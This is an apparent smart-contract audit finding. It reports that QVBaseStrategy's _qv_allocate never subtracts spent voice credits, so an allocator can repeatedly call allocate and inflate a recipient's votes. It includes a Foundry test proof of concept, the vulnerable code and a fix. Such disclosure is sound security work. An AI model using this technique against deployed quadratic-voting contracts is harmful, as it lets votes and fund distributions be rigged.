Kral01 - [H-02] Tracking of voiceCredits in QVSimpleStrategy is not done which can be used to allocate votes indefinitely.

[sherlock-admin]

Kral01

high

[H-02] Tracking of voiceCredits in QVSimpleStrategy is not done which can be used to allocate votes indefinitely.

Tracking of voiceCredits in QVSimpleStrategy with QVBaseStrategy::_qv_allocate() is not done which can be used to allocate votes indefinitely when using QVBaseStrategy.

Vulnerability Detail

When we are using QVSimpleStrategy which calls QVBaseStrategy::_qv_allocate() , there are some checks in QVSimpleStrategy::_allocate() which is only effective when voiceCredits are properly tracked and subtracted when they are used up by QVBaseStrategy::_qv_allocate(). Which is not done.

As it stands now, allocator can call allocate as much as they want and allocate votes as long as the voiceCreditsToAllocate is =< maxVoiceCreditsPerAllocator.

Impact

A allocator can knowingly or unknowingly call allocate when using QVBaseStrategy as strategy to allocate votes to a recipient indefinitely. Thus enabling the recipient to get very large majority in terms of votes, thus breaking the strategy.

Here is a coded PoC depicting that allocate can be called multiple times as long as each call has voiceCreditsToAllocate =< maxVoiceCreditsPerAllocator.

This can be pasted into test/foundry/strategies/QVSimpleStrategy.t.sol. Here maxVoiceCreditsPerAllocator is defined with a value of 100.

//File::test/foundry/strategies/QVSimpleStrategy.t.sol

 function test_allocate_VoiceTokensNotTracked() public {//@audit POC for QVSimpleStrategy-issue-1
        address recipientId = __register_accept_recipient();
        vm.warp(allocationStartTime + 10);

        address allocator = randomAddress();
        vm.startPrank(pool_manager1());
        qvSimpleStrategy().addAllocator(allocator);
        bytes memory allocateData = __generateAllocation(recipientId, 100);

        // vm.expectRevert(INVALID.selector);
        vm.startPrank(address(allo()));
        qvSimpleStrategy().allocate(allocateData, allocator);

        uint256 votesBefore = qvSimpleStrategy().getRecipientVotes(recipientId);

        //do it again
        qvSimpleStrategy().allocate(allocateData, allocator);
        //can be as many as times as needed

        uint256 votesAfter = qvSimpleStrategy().getRecipientVotes(recipientId);

        //We can see that the votes of the recipient has increased.
        assertTrue(votesAfter > votesBefore);        
    }

I have used a small helper function getRecipientVotes() to get the totalVotesReceived of a recipient.

//In File::contracts/strategies/qv-base/QVBaseStrategy.sol
 function getRecipientVotes(address index)public view returns( uint256){
        Recipient memory recipient = recipients[index];
       return  recipient.totalVotesReceived;
    }

Code Snippet

The voice credits of allocator is not decremented by the votes used in QVBaseStrategy::_qv_allocate().

 function _qv_allocate(
        Allocator storage _allocator,
        Recipient storage _recipient,
        address _recipientId,
        uint256 _voiceCreditsToAllocate,
        address _sender
    ) internal onlyActiveAllocation {
        // check the `_voiceCreditsToAllocate` is > 0
        if (_voiceCreditsToAllocate == 0) revert INVALID();

        // get the previous values
        uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];
        uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];

        // get the total credits and calculate the vote result
        uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;
        uint256 voteResult = _sqrt(totalCredits * 1e18);

        // update the values
        voteResult -= votesCastToRecipient;
        totalRecipientVotes += voteResult;
        _recipient.totalVotesReceived += voteResult;

        _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;
        _allocator.votesCastToRecipient[_recipientId] += voteResult;

        // emit the event with the vote results
        emit Allocated(_recipientId, voteResult, _sender);
    }

Tool used

Manual Review

Recommendation

Subtract the votes used from _allocator.voiceCredits to effectively track voiceCredits and then the checks in QVSimpleStrategy::_allocate will be effective.

Duplicate of #150